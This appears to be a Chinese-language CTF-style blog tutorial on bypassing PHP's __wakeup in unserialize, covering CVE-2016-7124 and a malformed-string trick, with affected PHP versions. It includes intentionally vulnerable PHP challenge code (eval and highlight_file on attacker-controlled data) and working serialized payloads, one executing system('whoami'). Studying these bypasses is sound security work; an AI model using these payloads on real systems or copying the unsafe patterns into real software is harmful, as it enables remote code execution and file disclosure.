unserialize绕过__wakeup

前言:unserialize绕过__wakeup的两种方法

unserialize 和 serialize的注意点

1、__construct():当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数)
2、__destruct():当对象被销毁时会自动调用。(析构函数)
3、__wakeup():unserialize() 时会自动调用。

CVE-2016-7124

试题1

<?php
class convent{
	var $warn = "No hacker.";
	function __destruct(){
		eval($this->warn);
	}
	function __wakeup(){
		foreach(get_object_vars($this) as $k => $v) {
			$this->$k = null;
		}
	}
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>

post请求cmd=O:7:"convent":1:{s:4:"warn";s:17:"system("whoami");";},会发现是空白,说明命令并没有执行

当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124),语句改为这样试试看:cmd=O:7:"convent":2:{s:4:"warn";s:17:"system("whoami");";},发现命令执行成功

这里也说明了__wakeup():unserialize() 时会自动调用

我们在反序列化的时候 可能有时候__wakeup 中会进行一些过滤等等的操作 所以我们需要尝试绕过

试题2

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

$a = new Demo('fl4g.php');
echo serialize($a);
echo "<br/>";
echo base64_encode('O:+4:"Demo":2:{S:10:"\00Demo\00file";s:8:"fl4g.php";}');
// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

总结:

绕过的条件:利用的是当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

影响版本:PHP5 < 5.6.25, PHP7 < 7.0.10

bad unserialize string makes __wakeup ineffective

参考文章:https://bugs.php.net/bug.php?id=81153

<?php
class D{

	public $flag=True;
	public function __get($a){
		if($this->flag){
			echo 'flag';
		}else{
			echo 'hint';
		}
	}

	public function __wakeup(){
		$this->flag = False;
	}
}

class C{

		public function __destruct(){
		echo $this->c->b;
	}
}

@unserialize('O:1:"C":1:{s:1:"c";O:1:"D":0:{};N;}');

总结

绕过的条件:删除掉序列化数据的最后一个 } 或者在 最后两个 } 中间加上 ;

影响版本:

Success:
7.0.15 - 7.0.33, 7.1.1 - 7.1.33, 7.2.0 - 7.2.34, 7.3.0 - 7.3.28, 7.4.0 - 7.4.16, 8.0.0 - 8.0.3

Fail:
5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.14, 7.1.0

posted @ 2019-12-24 14:51  zpchcbd  阅读(1117)  评论(0编辑  收藏  举报